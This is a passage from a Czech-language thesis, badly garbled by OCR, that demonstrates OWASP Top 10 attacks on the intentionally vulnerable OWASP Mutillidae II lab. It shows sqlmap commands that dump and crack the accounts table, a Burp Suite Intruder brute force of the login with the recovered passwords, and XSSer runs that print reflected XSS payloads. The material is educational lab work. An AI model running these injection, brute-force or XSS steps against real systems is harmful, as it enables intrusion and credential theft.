sqlmap - j m é n o b inárn ího souboru 

-u - označení cílové U R L 

—data= - da tový řetězec pos lán metodou P O S T 

- D - určuje da t abáz i D B M S , kterou m á nás t ro j vypsat 

—tables - výpis tabulek 

root®Kali : - © © © 

FiLe Edit V iew Search Terminal HeLp 

Database: nowasp 
[12 tables] 

+ + 

I accounts | 
j b a l l o o n _ t i p s j 
j blogs_table j 
I captured_data | 
j credit_cards j 
j help_texts j 
j hiťlog j 
I l e v e l _ l _ h e l p _ i n c l u d e _ f i l e s | 
j page_help | 
j page_hints j 
j pen_test_tools | 
I youtubevideos | 

L 

[15:25:41] [INFO] fetched data logged to text f i l e s under '/root/. sqlmap/output/ 
192.168.56.191' 

[*] shutting down at 15:25:41 

Obr. 4.12: Výpis tables d a t abáze nowasp 

D a t a b á z e nowasp obsahuje 12 tabulek, viz obr. 4.12. Tabulka, k t e rá představuje 

cíl t é to úlohy a disponuje po t ř ebnými informacemi, je accounts (účty) . Zjistíme tedy, 

jaké obsahuje sloupce. 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?page= 

login.php"—data="username=admin&password=admin&login-php-submit-but 

ton=Login"-D nowasp - T accounts —columns 
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sqlmap - j m é n o b inárn ího souboru 

-u - označení cílové U R L 

—data= - da tový řetězec pos lán metodou P O S T 

- D - určuje da t abáz i D B M S , kterou m á nás t ro j vypsat 

- T - určuje tabulku D B M S , kterou m á nás t ro j vypsat 

—columns - výpis s loupců 

root®Kali : - © © © 

FiLe Edit V iew Search Terminal HeLp 

Database: nowasp 
Table: accounts 
[7 columns] 
+ + + 

| Column | Type | 
L + + 

| c i d | i n t ( l l ) | 
J firstname j text j 
| is_admin j varchar[5) j 
| lastname j text j 
j mysignature j text j 
j password j text j 
j username j text j 

+ + + 

[15:28:45] [INFO] fetched data logged to text f i l e s under '/root/.sqlmap/output/ 
192.168.56.101' 

[*] shutting down at 15:28:45 

Obr. 4.13: Výpis columns tabulky accounts 

Z tabulky accounts jsme zjistili , že obsahuje 7 sloupců, viz obr. 4.13. Posledním 

krokem je vypsat záznamy sloupců username, password, is_admin a dozvědět se 

kromě uživatelských přihlašovacích údajů , zda-li maj í admin is t rá to rské oprávnění . 

Př íkaz : 

root@Kali :~# sqlmap -u "http://192.168.56.101/mutillidae/index.php?page= 

login.php"—data="username=admin&password=admin&login-php-submit-but 

ton=Login"-D nowasp - T accounts - C username,password,isadmin —dump 

sqlmap - j m é n o b inárn ího souboru 

-u - označení cílové U R L 

—data= - da tový řetězec pos lán metodou P O S T 

- D - určuje da t abáz i D B M S , kterou m á nás t ro j vypsat 

- T - určuje tabulku D B M S , kterou m á nás t ro j vypsat 

- C - určuje sloupec D B M S , k te rý m á nás t ro j vypsat 
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—dump - výpis záznamů vybraných sloupců 

Pokud nějaká hodnota (nejčastěji heslo) používá nějaký typ šifrování, pokusí se 

nás t ro j o dešifraci a do táže se nás , jak chceme pokračovat . Odpovědi na dotazy byly 

zvoleny následovně: 

• Do you want to store hashes to a temporary file for eventual further processing 

wi th other tools [y/N] y 

• Do you want to crack them via a dictionary-based attack? [Y/n/q] y 

• What dictionary do you want to use? 

(1) default dictionary file ' /usr /share/sqlmap/txt /wordl is t .z ip ' (press Enter) 

(2) custom dictionary file 

(3) file wi th list of dictionary files 

> 1 

• Do you want to use common password suffixes? (slow!) [y/N] n 

f : 

root®Kali : - © © © 

FiLe Edit V iew Search Terminal HeLp 

Database: nowasp 
Table: accounts 
[20 entries] 

+ + + + 

| username | password | is_admin | 
L + + + 

j ohn | monkey | FALSE 
j e remy J password j FALSE 
b ryce | password j FALSE 
samurai | samurai j FALSE 
j im | password j FALSE 
bobby | password j FALSE 
d r e v e i l | password j FALSE 
scotty | password j FALSE 
cal | password j FALSE 
j ohn | password j FALSE 
kevin j 42 j FALSE 
dave | set j FALSE 
patches | t o r t o i s e j FALSE 
rocky | st ripes j FALSE 
tim | lanmaster53 j FALSE 
user | user j FALSE 
ed | pentest j FALSE 
admin j 0192023a7bbd73250516f069dfl8b500 [adminl23] j TRUE 
ad rian | somepassword j TRUE 
ABaker j SoSecret j TRUE 

_l_ + + + 

[15:32:37] [INFO] table 'nowasp.accounts' dumped to CSV f i l e '/root/.sqlmap/outp 
ut/192.168.56.101/dump/nowasp/accounts.csv' 
[15:32:37] [INFO] fetched data logged to text f i l e s under '/root/.sqlmap/output/ 
192.168.56.101' 

Obr. 4.14: Výpis záznamů sloupců username, password a is_admin 
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Vypsané záznamy, viz obr. 4.14, n á m poskytly informace, k te ré byly cílem té to 

úlohy. Uživatelských ú č t ů je celkově 20, z toho 3 mají admin i s t r á to r ská práva (ABa-

ker, adrian a admin). Účet admin používá šifrování hesla typu M D 5 , k teré se poda

řilo úspěšně dešifrovat pomocí dictionary attack (slovníkový ú tok ) . Informace uvn i t ř 

tabulky nowasp.accounts nás t ro j zaznamenal do souboru accounts.csv, včetně cesty 

k němu. Také shromáždi l veškerá data do adresáře 192.168.56.101. 

4.3 Zranitelnost A2 - Broken Authentication and 
Session Management 

Cílem t é t o úlohy je získání uživatelských přihlašovacích úda jů webové aplikace 

O W A S P Muti l l idae II využ i t ím metody dictionary attack (slovníkový ú tok ) . 

Pro demonstraci ú toku byl zvolen nás t ro j Burp Suite a ve webové aplikaci 

O W A S P Muti l l idae II model pro zneuži t í opět p ros t ředn ic tv ím Login 2 , viz obr. 

4.15. 

Ice weasel 

J" % http://192...-Login.php X ' 
+ 

(V)®1 192.16S.55.101/mutiUJdar 
•'index. php?page = login.php 

T e Q. Search 

g] Most Visited T |j|Offensive Sec urity \KaLi Linux \KaliDoes \Ka l i Tools QExpLoit-DB fcflircrack-ng 

• * O W A S P Mutil l idae II: W e b Pwn in Mass Product ion 
Vers ion : 2 .6 .24 S e c u r i t y Level : 0 (Hosed) Hints: Enab led (1 S c r i p t K i d d l e ) Not L o g g e d In 

Back Help M e l 

Login 

Please sign-in 

U s e r n a m e admin 

P a s s w o r d [7 

Dont have an account? Please register here 

Obr. 4.15: Model zneužit í zranitelnosti - Login 

Již z n á m ý m postupem je p o t ř e b a nastavit proxy servery webového prohlížeče 

Iceweasel a nás t ro je Burp Suite pro zachytávaní H T T P komunikace. Po nas tavení 

proxy serveru vyplněním přihlašovacích úda jů username admin a password admin 

a po tvrzen í t l ač í tkem Login dojde k zachycení H T T P komunikace nás t ro jem Burp 

suite, viz obr. 4.16. 

2 „OWASP 2013" -> „A2 - Broken Authentication and Session Management" -> „Authentication 
Bypass" -> „Via Brute Force" -> „Login" 
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Burp Suite Free Edition vl.6.32 © 0 e 
Burp Intruder Repeater Window Help 

f Target | | Spider j Scanner j Intruder j Repeater | Sequencer | Decoder j C o m p a r e r j Extender | Options | Alerts | 

[ HTTP history | WebSockets history | Options | 

[/J Request to http://192.163 56.101:H0 

| Forward j [ Drop j [ Intercept is on | [ Action ] S i J 
[ Raw | Pararns j Headers j Hex 

POST / n u t i l l i d a e / i n d e x . p h p ? p a g e = l o g i n . p h p H T T P / 1 , 1 
H o s t : 1 9 2 . 1 6 8 . 5 6 . 1 0 1 
U s e r - A g e n t : M o z i l l a / 5 , 0 ( X l l j L i n u x x 3 6 _ 6 4 ; r v : 3 S . O ) Gecko/201001G1 F i r e f o x / 3 S . 0 I c e w e a s e l / 3 8 . 6 . 1 
A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t n l + x m l , a p p l i c a t i o n / x m l j q = 0 . 9 , * / * j q = 0 . 8 
A c c e p t - Language : e n - U S , e n j q = 0 , 5 
A c c e p t - E n c o d i n g : g z i p , d e f l a t e 
R e f e r e r : h t t p : / / 1 9 2 . 1 6 3 . 5 6 . 1 0 1 / m u t i l l i d a e / i n d e x . p h p ? p a g e = l o g i n . p h p 
C o o k i e : s h o w h i n t s = l j P H P S E S S I D = p t k l 6 v k 2 4 g 9 1 o l s 7 t a p b 9 c p l l 0 ; a c o p e n d i v i d s = s w i n g s e t , j o t t o , p h p b b 2 , r e d m i n e ; acg r o u p s w i t hpe r s i s t = n a d a 
Connect i o n ; c l o s e 
C o n t e n t - Type : a p p l i c a t i o n / x - w w - t o r m - u r l e n c o d e d 
C o n t e n t - L e n g t h : 59 

L 

use rname=ac lmin&pa5sword=ac lmir i&login- php - s ub mi t - b u t t o n = L o g i n | 

T 

[ ? ] [ < ] f + ] [ > ] 1 Type a search term 
0 matches 

Obr. 4.16: Zachycení H T T P komunikace 

Nyní k l iknut ím pravého t l ač í tka myši kdekoliv v okně s požadavkem se ukáže 

menu, ze k te rého zvolíme volbu Send to Intruder. Intruder je modul, pros t řednic

t v ím k te rého lze vykonávat ú toky typu dictionary attack a brute force, manipulovat 

s parametry, detekovat zranitelnosti S Q L injection a cross-site scripting. 

P ř e p n u t í m se do záložky Intruder/Target zkontrolujeme adresu našeho cíle 

192.168.56.101 a port 80, viz obr. 4.17. 

Burp Suite Free Edition vl.6.32 © © 

Burp Intruder Repeater Window Help 

f Target Jf | Spider | Scanner J Intruder J Repeater J Sequencer | Decoder~J C o m p a r e r " | Extender | Options | Alerts 

J ~ L ^ 
ľ Target J Positions j Payloads j Options 

(S Attack Target [ start attack 
Configure the details of the target for the attack. 

Host: l ý ^ . l ^ S . í n . l Ň l 

Port: 80 

• Use HTTPS 

Obr. 4.17: Volba adresy cíle a portu 

V záložce Intruder/Positions je p o t ř e b a urči t typ ú t o k u a zvolit mí s t a v po

žadavku, na k te rá bude Intruder vk láda t námi zadané hodnoty. V našem požadavku 

Intruder automaticky vyznačil mís ta , v h o d n á pro vkládání hodnot. Tato mí s t a jsou 
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označena paragrafem § a barevně zvýrazněna , viz obr. 4.18. V tomto př ípadě si 

sami chceme zvolit p roměnné hodnoty k testování . Kl iknu t ím na t lačí tko Clear § 

se všechny automaticky zvolené p roměnné hodnoty vymažou . Nyní zvolíme pouze 

hodnotu proměnných username a password {„admin") a k l iknut ím na t lačí tko Add 

§ zadefinujeme mís ta , na k te rá bude Intruder vk láda t uživatelská j m é n a a hesla ze 

slovníku a porovnávat je, čímž bude zjišťovat, zda-li d a n á kombinace je ve webové 

aplikaci regis t rována či nikoliv. 

Attack type (typ ú toku) zvolíme Cluster bomb. Ten umožňuje v požadavku ozna

čit až 8 míst k porovnávání a je nej vhodnější pro hledání správné kombinace uživa

telského j m é n a a hesla. 

Burp Suite Free Edition vl.6.32 0 
Burp Intruder Repeater Window Help 

Target J j Spider | Scanner j Intruder J Repeater | Sequencer | Decoder | C o m p a r e r J Extender | Options | Alerts j 

Target J Positions f Payloads J Options 

[T] Payload Positions 

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads 
ass igned to payload positions - see help for full details. 

Attack type: | Cluster bomb 

I Start attack , 

3 
POST / m u t i l l i d a e / i n d e x . p h p ? p a g e = 5 l o g i n . p h p § H T T P / 1 . 1 
H o s t : 1 9 2 . 1 6 8 . 5 6 . 1 0 1 
U s e r - A g e n t : M o z i U a / 5 . G ( X l l j L i n u x x 8 6 _ 6 4 ; r v : 3 8 . 0 ] Gecko/2Q10Q101 F i r e f O K / 3 8 , • I c e w e a s e l / 3 8 , 6 .1 
A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t ml + x m l , a p p l i c a t i o n / x m l j q = G . 9 , * / * ; q = Q . 8 
A c c e p t - L a n g u a g e : e n - U S , e n ; q = 0 . 5 
A c c e p t - E n c o d i n g : g z i p , d e f l a t e 
Ref e r e r : h t t p : / / 1 9 2 . 1 6 6 . 5 6 . 1 0 1 / m u t i l l i d a e / i n d e x , php ? p a g e = l o g i n . php 
C o o k i e : s h o w h i n t s = § l § ; P H P S E S 5 I D = § p f k l 6 v k 2 4 g 9 1 o l £ 7 f a p b 9 c p U Q § ; 
acopendivid5=§5wing5et, jotto, p h p b b 2 , r e d m i n e § ; acgroup5withpersist=§nada§ 
C o n n e c t i o n : c l o s e 
C o n t e n t - T y p e : a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e c 
C o n t e n t - L e n g t h : 59 

L i £ e r n a m e = § a d m i n | & p a £ £ w o r d = ! i a d m i n § & ! l o g i n - php - submit - b u t t o n = § L o g i n | 

[ ? j ^ < j ^ + j [ > ] I Type 3 search term 

3 payload positions 

0 matches 

Length: 673 

J 
C l e a r s 

J 

Obr. 4.18: Volba typu ú toku a vs tupních hodnot 

Záložka Intruder/Payloads je pos ledním bodem n u t n ý m p řed zahájením ú toku . 

Zde mus íme urči t , jaké hodnoty se budou na zvolená mí s t a vk láda t . 

V Payload set bude po rozbalení seznamu na výběr z tolika možnost í , kolik jsme 

jich v požadavku označili, tedy v našem př ípadě 2, kde vybereme nejprve 1. 

Payload type určuje požadovaný typ „payloadu" z rozbalovacího seznamu. Tedy 

v tomto p ř ípadě s tačí zvolit Simple list, k te rý je určen pro j ednoduché srovnávání 

několika hodnot ze slovníku. 

Payloads Options upřesňuje, jaké hodnoty chceme srovnávat . Kl iknu t ím na tla

čítko Load ... vybereme soubor userlist.txt, k te rý obsahuje 7 uživatelských jmen 

z d a t a b á z e pro demonstraci ú toku , viz obr. 4.19. 
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Burp Suite Free Edition vl.6.32 0 
Burp Intruder Repeater Window Help 

f Target J j Spider | Scanner j Intruder J Repeater | Sequencer | Decoder | C o m p a r e r J Extender | Options | Alerts | 

Target Positions Payloads Options 

P a y l o a d Sets 
[ Start attack J N 

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Var ious 
payload types are available for each payload set. and each payload type can be customized in different ways. 

Payload set: I 1 
»J Payload count: 7 

Payload type: | Simple list Request count: 0 

P a y l o a d Opt ions [S imple list] 

This payload type lets you configure a simple list of strings that are used as payloads. 

Paste J admin 
J ABaker 

L o a d . . . I u s e r  

J ed 

Remove I J° h n 

J jim 
. . i samura i 

Add Enter a new item 

Add from list . . . [Pro version only] 

Obr. 4.19: Volba prvních vs tupních hodnot (uživatelská jména) 

Burp Suite Free Edition vi .6.Z2 e © e 
Burp Intruder Repeater Window Help 

Target j j Spider j Scanner J Intruder j Repeater j Sequencer j Decoder j C o m p a r e r j Extender | Options j Alerts 

1 
Target J Positions J Payloads | Optic 

P a y l o a d Sets 

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Var ious 
payload types are available for each payload set, and each payload type can be customized in different ways. 

, Start attack 

Payload set: 2 

Simple list 

• J Payload count: 7 

j Request count: 0 

P a y l o a d Opt ions [S imple list] 

This payload type lets you configure a simple list of strings that are used as payloads. 

Paste I a b c l 2 3 
pentest 
password 
samura i 
a d m i n l 2 3 

Load . 

Remove 
admin 

Add Enter a new item 

Add from list . . . [Pro version only] 

Obr. 4.20: Volba druhých vs tupních hodnot (uživatelská hesla) 

P ř e p n u t í m Payload set na číslo 2 a k l iknut ím na t lačí tko Load ... vybereme 
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soubor passlist.txt, k t e rý obsahuje 7 uživatelských hesel, viz obr. 4.20. V t é t o chvíli 

s tačí kliknout na t lač í tko Start attack, a zaháj i t ú tok. 

Attack Save C o l u m n s 

Intruder attack 1 e e e 

Results J Ta rget j Pos i t ions J Fay loads J Opt ions 

Filter: Showing äll i tems EJ 
Request A P a y l o a d l 1 Payload2 1 Status 1 Error 

i T i m e o u t i Length 1 C o m m e n t 

7 s a m u r a i a b c l 2 3 zoo • • 50769 
E admin pentes t 2 DD u u 50769 

A B a k e r pentes t 2'j'j u u 50769 

10 
1 11 

u s e r pentes t 200 • 
rn 

• 
rn 

50769 1 L J--L 
12 John pentes t 200 

LJ 

• 
LJ 

• 50804 

13 jim pentes t 2C"J u u 50804 

14 s a m u r a i pentes t 200 u u 50804 

15 admin p a s s w o r d 200 u u 50804 

16 A B a k e r p a s s w o r d 2 00 u u 50804 

17 u s ? r p a s s w o r d 200 u u 50804 

18 =tl p a s s w o r d 200 u u 50804 

IS john p a s s w o r d 302 u u 50907 

20 jim p a s s w o r d 302 • • 50897 

Request | R e s p o n s e j 

[ Raw j H e a d e r s J Hex J HTML | Render | 

H T T P / 1 . 1 302 Found 
D a t e : S a t , 02 Apr 2016 1 4 : 2 5 : 0 2 GMT 
S e r v e r : A p a c h e / 2 . 2 . 1 4 ( U b u n t u ) m o d _ m o n o / 2 . 4 . 3 P H P / 5 . 3 . 2 - l u b u n t u 4 . 3 0 w i t h S u h o s i n - P a t c h p r o x y _ h t m l / 3 . • . 1 m o d _ p y t h o n / 3 . 3 . 1 
P y t h o n / 2 . 5 , 5 m o d _ s s l / 2 . 2 , 1 4 Q p e n S S L / Q . 9. 8k P h u s i o n _ P a s s e n g e r / 4 . • . 38 m o d _ p e r l / 2 . 0 . 4 P e r l / 1 1 5 . 1 0 . 1 
X - P o w e r e d - B y : P H P / 5 . 3 . 2 - l u b u n t u 4 . 3 0 
Set - C o o k i e : userna[ne=ecl 
S e t - C o o k i e ; u i d = 2 4 

L o c a t i o n : i n d e x . p h p ?popUpNot i t i c a t i o n C o d e = A U l 
Logged - I n - U s e r : ed 
Y a r y : A c c e p t - E n c o d i n g 
C o n t e n t - L e n g t h : 50383 
Connect i o n : c l o s e 
C o n t e n t - T y p e : t e x t / h t m l 

J 

[ ? ] [ < ] [ + ] [ > ] I Type a search tern 

Obr. 4.21: Výsledky slovníkového ú toku 

Po dokončení ú toku nás t ro j zobrazí výsledky, viz obr. 4.21. Celkově provedl 49 

požadavků (Request). Z obrázku je vidět pouze část jednot l ivých požadavků (kom

binací) uživatelských jmen (Payloadl) , hesel (Payload2), statusu (Status) a délky 

požadavku (Length). 

Pokud chceme vědět , jaké kombinace jsou správné, tak nej j ednodušš ím způsobem 

je zkontrolovat číslo statusu. Status s číslem 302 značí shodu uživatelského j m é n a a 

hesla ve webové aplikaci. Tento p ř ípad p la t í pro požadavky 11, 19 a 20. 

Dalš ím způsobem je podíva t se na odpověď (Response) od serveru. Požadavek 

číslo 11 srovnával uživatelské j m é n o ed s heslem pentest. P ř i p ř epnu t í do záložky 

Response/Raw je vidět odpověď od webového serveru. Je-li kombinace správná, 

budou zde položky Set-Cookie, Location a u Logged-In- User uvedené j m é n o uživatele. 

Kombinace uživatelského j m é n a user a hesla pentest je nesprávná a odpověď od 

webového serveru v y p a d á jako na obr. 4.22 s označením statusu 200. 
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Request J R e s p o n s e j 

Pa', e a d e r s Hex HTML Re nder | 

H T T P / 1 . 1 20G OK 
O a t e : S a t , Q2 Apr 2Q16 1 4 : 2 5 : 0 1 GMT 
S e r v e r : A p a c h e / 2 . 2 . 1 4 ( U b u n t u ) m o d _ m o n o / 2 . 4 . 3 P H P / 5 . 3 . 2 - l u b u n t u 4 . 3 0 w i t h S u h o s i n - P a t c h p r o x y _ h t m l / 3 . • . 1 m o d _ p y t h o n / 3 . 3 . 1 
P y t h o n / 2 . 6 , 5 m o d _ s s l / 2 . 2 , 1 4 O p e n S S L / Q . S . 8 k P h u s i o n _ P a s s e n g e r / 4 . Q . 3 8 m o d p e r l / 2 . 0 . 4 P e r l / v 5 . 1 Q . l 
K - P o w e r e d - B y : P H P / 5 . 3 . 2 - l u b u n t u 4 . 3 0 
L o g g e d - I n - U s e r : 
Y a r y : A c c e p t - E n c o d i n g 
C o n t e n t - L e n g t h : 50350 
Connect i o n ; c l o s e 
C o n t e n t - T y p e : t e x t / h t m l 

L T ] G O [ Z ] [ Z ] I T ŕ p e a renter, 

Finished I 

J 

Obr. 4.22: Odpověď webového serveru při nesprávné kombinaci 

Nást ro j t aké u m í vykreslit do j is té míry podobu webové s t r ánky z požadavku 

a odpovědi webového serveru v záložce Response/Render, viz obr. 4.23. Je to 

také další možnost , jak si ověřit, zda-li je kombinace uživatelského j m é n a ed a hesla 

pentest správná. Zde tomu tak je a a jsme přihlášeni jako uživatel ed. 

Request J Response j  

Raw Headers Hex HTML Render 

OWASP Mutillidae II: Web Pwn in Mass Production 
V e r s i o n : 2 . 6 . 2 4 S e c u r i t y L e v e l : 0 (Hosed ) H i n t s : E n a b l e d (1 - S c r i p t K i d d l e ) L o g g e d In U s e r : e d ( C o m m a n d l i n e K u n g F u anyone? ) 

OWASP 2013 

OWASP 2010 

OWASP 2007 

Web Servicei 

HTML 5 

Others 

Documentati 

Login 
B a c k H e l p M e ! 

<9 H i n t s 

Obr. 4.23: Př ib l ižná podoba webová s t r ánky 

Celkem ze 49 kombinací byly správné 4: 

• ed/pentest 

• john/password 

• jim/password 

• samurai /samurai 

4.4 Zranitelnost A3 - Cross-Site Scripting 

Cílem t é to úlohy je vyhledání potenciá lně nebezpečných skr ip tů nás t ro jem XSSer, 

k teré mohou mí t vl iv na webovou aplikaci O W A S P Muti l l idae II, vybrat nějaký ze 
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skr ip tů a demonstrovat metodu Reflected i Stored (viz kapitola 2.2). 

Ve webové aplikaci O W A S P Muti l l idae II byl zvolen model pro zneužit í Set 

Background Color 3 , viz obr. 4.24. Tento model byl zvolen předevš ím z toho důvodu, 

že nás t ro j XSSer vyžaduje urč i tou formu adresy U R L pro aplikaci škodlivého kódu. 

J % http://192....-coLor.php * \ + 

( j - , ® 192.168. 56.101/mutiLLidae/index.php'page = 5et-baľ:l<ground-coLor.php  

M Most Visited * IJlOffensive Security \KaL Í L Ínux VlíaLÍ Docs \KaL ÍToo l s ÜExpLoit-DB fcAírcrack-ng 

O W A S P Mutil l idae II: W e b Pwn in Mass Product ion 
V e r s i o n : 2 .6 .24 S e c u ity Leve l : 0 (H osed) Hints: Enab led (1 - S c r i p t K i d d l e ) Not L o g g e d In 

G e t t i n g S t a r t e d : 
Project 

W h i t e p a p e r 

R e l e a s e 
A n n o u n c e m e n t s 

< 9 

Set Background Color 

Please enter the background color you would like to see 

Enter the color in RRGGBB format 
(Example: Red = FFOOOO) 

B a c k g r o u n d C o l o r 

Set Background Color 

T h e c u r r e n t b a c k g r o u n d c o l o r is e e c c c c 

Obr. 4.24: Model zneuži t í zranitelnosti - Set Background Color 

Otevřen ím te rminá lu a zadán ím následujícího př íkazu: 

root@Kali :~# xsser — gtk 

dojde ke spuštění graficky uživatelského rozhraní , viz obr. 4.25. K zahájení ú toku 

je nu tné p řepnou t F l y mode na Intruder, což zajistí tes tování cílové U R L adresy 

př ímo námi vložené. Vložená U R L adresa: 

http://192.168.56.10 l/mutillidae/index.php?page=set-background-color.php 

Dále je n u t n é zašk r tnou t režim tes tování na Automatic a kliknout na t lačí tko 

Aim!. V poli Command je nyní vidět celý př íkaz, k te rý nás t ro j vykoná: 

xsser -u http://192.168.56.101/mutillidae/index.php?page=set-background-color 

.php- i /root/None-s-user-agent Googlebot/2.1 (+http://www.google.com/bot. 

3„OWASP 2013" -> „A3 - Cross Site Scripting (XSS)" -> „Reflected (First Order)" -> „Set 
Background Color" 
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html) -threads 5 -timeout 30 -retries 1 -delay 0 -auto 

K ú toku je vše po t ř ebné nastaveno a stačí kliknout na t lač í tko FLYlll k zahájení . 

XSServl.6b: "Grey Swarm!"- (http://xsser.sf.net) © © O 

XSSer Expert Visor Wizard HeLper Documentation About 

FLymode(s): O Explorer ©Intruder | http://192.168.56.101/mutitLidae/index.phpl • Load file • Tor Proxy B Automatic • Crawter 

Command(s): |xsser -u http://192.16S.5Ď.101/mutiLLidae/index.php?page=sst-background-coLor.php -i /root/None -s —usar-agant Goo Aim! 

[^"Statistics 1 Tweet 1 Verbose i ' Launch • Shorters: is.gd • 0 FLY!!! 

Obr. 4.25: Graficky uživatelské rozhraní a nas tavení ú toku 

X S S e r Expert V isor Wizard HeLper D o c u m e n t a t i o n A b o u t 

Target : h t tp : / /192 .16S .56 .101/mut iLL idae/ index .php?page=set-background-coLor .php —> 2 0 1 6 - 0 4 - 0 3 1 3 : 3 6 : 0 5 . 4 2 9 0 9 4 

[-] Ha5hing: f l 2 e 5 f d 3 9 1 4 f T 2 e 9 f 7 a l d 5 d a a 4 8 a 9 a 9 b 

[+] Trying: http://192.16S.56.101/mutiLLidae/inde>c.php?page=set-background-coLor.php/<wideo><source o n e r r o r = " j a v a s c r i p t : f l 2 e 5 f d 3 9 1 4 f l 2 e 9 f 7 a l d 5 d a a 4 S a 

9a9b"> 

[+] B rowser Support : [ H T M L 5 Injection] 

[+] Check ing: urL attack wi th <video><source •nerror="java5cr ipt :PAYLOAD">. . . fail. 

Mosquito(s ) Landed! 

[*] FinaL Results : 

- Injections: 9 8 

- FaiLed: S3 

- SucessfuLL: 1 5 

- Accur : 1 5 % 

0 

Obr. 4.26: Výsledky a celkový p r ů b ě h ú toku 
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Po vykonání ú toku nás t ro j vypíše do hlavního okna celý postup testování , viz 

obr. 4.26. Výpis je velmi dlouhý, proto byl zvolen obrázek, ze k te rého je vidět pokus 

o aplikaci škodlivého kódu a výsledky. Nást ro j provedl celkem 98 Injections (injekcí), 

z toho 83 s označením Failed (neúspěšný) , 15 s označením Succesful (úspěšný) a 

Accuracy (přesnost) byla 15%. 

V záložce Expert Visor/Report/Suspicious je vidět všech 15 injections 

s označením Suspicious (podezřelé) , viz obr. 4.27, tedy takové, k teré mohou mí t 

vl iv na webovou aplikaci. 

XSSer vl.6b: "Grey Swarm!" - (http://xsser.sf.net) e e e 

X S S e r Expert V isor Wizard HeLper D o c u m e n t a t i o n A b o u t 

Target(s) 

Vector (s ) 

FinaL(s) 

Report(s) 

Visor(s) 

Swarm (s) 

Suspic ious 

http ;//192 

h t tp : f f l . 92  

http: 111 9 2 

h t tp : f f l . 92  

h t tp : f f l . 92  

h t tp : f f l . 92  

h t tp : f f l . 92  

h t tp : f f l . 92  

h t t p ; f f l 9 2 

h t tp : f f l . 92  

h t tp : f f l . 92  

h t t p ; f f l 9 2 

h t tp : f f l . 92  

h t tp : f f l . 92  

h t tp : f f l . 92 

VuLnerabLes FaiLed Errors 

1 6 8 , 5 6 . 1 0 1 / m u t 

1 6 8 . 5 6 . 1 0 1 / m u t 

1 6 3 . 5 6 . 1 0 1 / m u t 

1 6 8 . 5 6 . 1 0 1 / m u t 

1 6 3 , 5 6 . 1 0 1 / m u t 

1 6 3 . 5 6 . 1 0 1 / m u t 

1 6 8 . 5 6 . 1 0 1 / m u t 

1 6 8 , 5 6 . 1 0 1 / m u t 

1 6 8 , 5 6 . 1 0 1 / m u t 

1 6 3 . 5 6 . 1 0 1 / m u t 

l o a . 5 6 . 1 0 1 / m u t  

1 6 8 , 5 6 . 1 0 1 / m u t 

1 6 3 . 5 6 . 1 0 1 / m u t 

1 6 3 . 5 6 . 1 0 1 / m u t 

1 6 8 . 5 6 . 1 0 1 / m u t 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

LLidae/indesc 

CrawLing 

php?page= 

page= 

page= 

page= 

page= 

page= 

page= 

page= 

page= 

page= 

page= 

page= 

page= 

p a g e : 

page= 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

set -background 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

coLor. 

p h p / " > 0 3 6 8 8 8 8 1 b 2 b 3 2 r f 6 e a l 9 a 7 2 2 c l d b e 8 9 7 

p h p / " ; ! - - ' < 7 6 f l 0 0 c 2 6 e 0 7 4 4 4 3 3 5 9 1 a a i c d 7 c 2 3 3 c a > = & { [ ) } " 

p h p / < / T I T L E > 3 e 2 d d 3 2 d 5 3 3 7 1 4 1 9 7 3 c 4 8 a 7 a c 0 4 b a b c 6 

p h p / ' L > < S C R I P T > a L e r t ( ' e c 4 6 a e 3 c d S d 0 b f c e 4 4 7 b 0 3 a 7 c l e 5 0 b 6 r ) e / S C R I P T > 

p h p / " ; ! - - " < 3 8 7 8 9 9 d 7 c 7 4 a 2 2 2 5aca86e916f81c4af">=S,{()}" 

p h p / < < S C R I P T > d 9 d 5 c 7 3 1 f d 5 c a d 9 4 8 d c 6 3 4 4 b 7 7 6 a a 6 f W < < / S C R I P T > 

p h p / " ; l e 4 5 e a e 0 6 5 1 1 5 7 f a l b 3 8 4 c b 8 3 4 r f f c 5 f / / 

php/ i i f rame//// / / /onLoad=10ba4b7750c9S18194ca733bbS8dSbd4></ i f rame| 

php/<12 5 c 0 d 2 4 8 9 5 2 f a 3 7 1 c f 2 4 4 a f 0 4 0 9 8 3 6 a STYLE="scss :express ion(12 5c| 

p h p / < S T Y L E > . 7 4 7 8 2 0 e 0 0 a 5 c 2 a 6 e d l 7 2 4 1 d l d l 8 4 5 d 8 4 { b a c k g round-image 

p h p/B= " g e t " ; b = , , U R L ( " , , ; c = " j a r a s c r i p t : " : d = " 6 7 6 2 2 b e a a 7 e 3 4 8 2 1 7 b 7 c e 0 5 1 f f 4 

p h p / i S C R I P T > a = / e 0 1 f 7 1 4 9 e 4 5 7 d b 6 2 9 3 b d 2 6 4 0 7 0 a a 4 0 4 a / a L e r t ( a . s o u r c e)<J 

p h p / < S C R I P T > a = / d c 5 0 5 3 d 4 e d 8 7 8 a 4 9 e 0 b l 4 1 9 7 5 9 5 9 d 3 3 e / n d c 5 0 5 3 d 4 e d a | 

p h p / ! [ C D A T A [ i ! - - ] ] i S C R I P T > 5 c a 7 3 3 7 f l 2 6 6 0 d 6 f 7 7 5 3 f a 0 d 6 f 3 a 6 b 3 9 / / - - : > < : / ! 

p h p / < s t y L e = < ! - < / s t y L e : > e S C R I P T > 4 e b d b 4 5 a 4 7 S e c 9 8 5 d 2 7 S 0 a f d 3 S 4 2 a b 5 e / / 

FLy mode[s) : O ExpLorer 9 Intruder |6 .101/mutiLLidae/index.php?page~set-background-coLor . php • Load file O T o r Proxy ( ^ A u t o m a t i c O C rawl e r 

